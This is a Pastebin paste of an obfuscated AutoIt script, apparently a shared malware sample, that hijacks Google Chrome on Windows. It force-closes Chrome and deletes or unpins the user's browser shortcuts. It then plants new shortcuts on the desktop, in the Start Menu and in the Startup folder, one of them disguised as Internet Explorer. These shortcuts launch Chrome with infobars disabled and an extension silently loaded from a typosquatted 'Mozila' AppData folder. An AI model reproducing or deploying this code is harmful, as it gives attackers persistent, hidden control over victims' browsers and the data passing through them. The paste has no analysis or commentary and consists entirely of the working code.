Advertisement
James_inthe_box

au3

Jan 14th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.04 KB | None | 0 0
  1. Global Const $load_library_as_datafile = 2
  2.  
  3. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  4. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  5. If @error Then Return SetError(@error, @extended, 0)
  6. Return $aresult[0]
  7. EndFunc
  8.  
  9. Func _winapi_loadstring($hinstance, $istringid)
  10. Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  11. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  12. Return SetExtended($aresult[0], $aresult[3])
  13. EndFunc
  14.  
  15. Func _winapi_freelibrary($hmodule)
  16. Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  17. If @error Then Return SetError(@error, @extended, False)
  18. Return $aresult[0]
  19. EndFunc
  20.  
  21. DirCreate(@AppDataDir & "\Mozila\")
  22.  
  23. Func writelnk($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '',$FH37126V95637='Google Chrome')
  24. $MX50889N8062 = 0
  25. If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co
  26.  
  27. ;split path, filename and extension
  28. $chromeroutesplit = StringSplit($DU96650J50007, '\')
  29. $LQ96791B72186 = $chromeroutesplit[0]
  30. $NY46912G26724H79275Y54978 = $chromeroutesplit[$LQ96791B72186]
  31. $chromeroute = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
  32. $chromeroute = StringTrimRight($chromeroute, 1)
  33. $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, ".")
  34. $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
  35. $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
  36. $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)
  37.  
  38. ;define code to use depending on action choosen
  39. Switch $PY88057E8772
  40. Case 'pin2SM', 'p2sm' ;pin to Start Menu
  41. $DW40391F60732 = 5381
  42. Case 'unpinFromSM', 'up2sm' ;unpin from Start Menu
  43. $DW40391F60732 = 5382
  44. Case 'pin2TB', 'p2tb' ;pin to Task Bar
  45. $DW40391F60732 = 5386
  46. Case 'unpinFromTB', 'up2tb' ;unpin from Task Bar
  47. $DW40391F60732 = 5387
  48. EndSwitch
  49.  
  50. ;if arguments, make a shortcut, pin it then mark it for deletion
  51. If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
  52. $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
  53. FileCreateShortcut($DU96650J50007, $LU75806O87936, $chromeroute, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
  54. $chromeroute = @DesktopDir
  55. $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  56. $MX50889N8062 = 1
  57. EndIf
  58.  
  59. ;retrieve Localized text for action
  60. $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
  61. If $VN21839D40239 Then
  62. $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
  63. ;If @error Then MsgBox(0, YK69395P92380('0x0329391612CD7FF847BAAFA72361CF1E','63504267791308182131'), _WinAPI_GetLastErrorMessage()) ;debug
  64. _WinAPI_FreeLibrary($VN21839D40239)
  65. EndIf
  66.  
  67.  
  68. If $DW40391F60732 == 5382 Then
  69. $chromeroute = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
  70. $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  71. EndIf
  72.  
  73. ;pin or unpin
  74.  
  75. $GX26215V48494 = ObjCreate('Shell.Application')
  76. $CV39051H10739 = $GX26215V48494.Namespace($chromeroute)
  77. $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
  78. If IsObj($CV39051H10739Item) Then
  79. For $CV81871N53913 in $CV39051H10739Item.Verbs()
  80. If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
  81. Next
  82. Else
  83. ;ConsoleWrite($CV39051H10739Item.Verbs())
  84. EndIf
  85.  
  86. ;clean temporary shortcut
  87. If $MX50889N8062 Then
  88. FileDelete($LU75806O87936)
  89. EndIf
  90. EndFunc
  91.  
  92. Func rutefunc()
  93. Local $TB44737Z1859
  94. Local $chromeroute
  95. Local $chromeread=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "Path")
  96. If StringInStr(RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"), "Chrome") Then
  97. $chromeroute = RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
  98. ElseIf StringInStr(RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"),"Chrome") Then
  99. $chromeroute=RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
  100. ElseIf StringInStr($chromeread,"Chrome") Then
  101. $chromeroute=$chromeread & "\chrome.exe"
  102. Else
  103. $chromeroute=is64bits() & "\Google\Chrome\Application\chrome.exe"
  104. EndIf
  105. return $chromeroute
  106. EndFunc
  107.  
  108. Func is64bits()
  109. Local $programFiles
  110. Switch @OSArch
  111. Case "X86"
  112. $programFiles = "Program Files"
  113. Case "X64"
  114. $programFiles = "Program Files (x86)"
  115. EndSwitch
  116. Return @HomeDrive & "/" & $programFiles & "/"
  117. EndFunc ;==>is64bitsh
  118.  
  119. Func iepath()
  120. Return is64bits() & "Internet Explorer/iexplore.exe"
  121. EndFunc
  122. FUNC GOO()
  123. $DACBB = "[REGEXPTITLE:(?i)(.*Chrome*)]"
  124. WHILE WINGETHANDLE($DACBB)
  125. WINCLOSE($DACBB)
  126. WEND
  127. PROCESSCLOSE("chrome.exe")
  128. ENDFUNC
  129.  
  130. GOO()
  131.  
  132. FileRecycle(@DesktopCommonDir & "\*Google*.lnk")
  133. FileRecycle(@DesktopCommonDir & "\Google*.lnk")
  134.  
  135. FileRecycle(@DesktopDir & "\*Google*.lnk")
  136. FileRecycle(@DesktopDir & "\Google*.lnk")
  137.  
  138. FileRecycle(@StartMenuDir & "\*Google*.lnk")
  139. FileRecycle(@StartMenuDir & "\Programs\*Google*.lnk")
  140. FileRecycle(@StartMenuDir & "\Google*.lnk")
  141.  
  142. FileRecycle(@StartMenuCommonDir & "\*Google*.lnk")
  143. FileRecycle(@StartMenuCommonDir & "\Programs\*Google*.lnk")
  144. FileRecycle(@StartMenuCommonDir & "\Google*.lnk")
  145.  
  146.  
  147. FileDelete(@DesktopDir & "\*Chrome*.lnk")
  148. FileDelete(@DesktopDir& "\*Chrome*.lnk")
  149. FileDelete(@DesktopDir & "\*Google*.lnk")
  150. FileRecycle(@DesktopDir & "\*Google*.lnk")
  151. FileDelete(@DesktopDir& "\*Google*.lnk")
  152. FileDelete(@DesktopDir & "\*Internet*.lnk")
  153. FileDelete(@DesktopDir& "\*Internet*.lnk")
  154. FileDelete(@DesktopDir & "\*Explorer*.lnk")
  155. FileDelete(@DesktopDir& "\*Explorer*.lnk")
  156.  
  157. writelnk(rutefunc(),"up2tb","","")
  158. writelnk(rutefunc(),"up2tb","","")
  159. writelnk(rutefunc(),"up2tb","","")
  160. writelnk(rutefunc(),"up2tb","","")
  161. writelnk(rutefunc(),"up2tb","","")
  162. writelnk(iepath(),"up2sm","","Internet Explorer")
  163. writelnk(rutefunc(),"up2sm","","Google Chrome")
  164.  
  165. writelnk(rutefunc(), 'p2tb', BinaryToString('--enable-automation --disable-infobars --load-extension="') & @AppDataDir & "\Mozila" & '"',"Google Chrome")
  166. writelnk(rutefunc(), 'p2sm', BinaryToString('--enable-automation --disable-infobars --load-extension="') & @AppDataDir & "\Mozila" & '"',"Google Chrome")
  167.  
  168. FileCreateShortcut(rutefunc(),@DesktopDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  169. FileCreateShortcut(rutefunc(),@DesktopDir & "\Internet Explorer.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  170.  
  171. FileCreateShortcut(rutefunc(),@StartupDir & "\Internet Explorer.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  172.  
  173. FileCreateShortcut(rutefunc(),@StartMenuCommonDir & "\Programs\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  174. FileCreateShortcut(rutefunc(),@StartMenuDir & "\Programs\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  175.  
  176. FileCreateShortcut(rutefunc(),@StartMenuCommonDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  177. FileCreateShortcut(rutefunc(),@StartMenuDir & "\Google Chrome.lnk", StringReplace(rutefunc(),"chrome.exe",""), '-enable-automation --disable-infobars --load-extension="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", "", "", 15, @SW_SHOWMAXIMIZED)
  178.  
  179. Sleep(1000)
  180. SHELLEXECUTE("chrome.exe", '--enable-automation --disable-infobars --load-extension="' & @AppDataDir & '\Mozila' , "", "");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement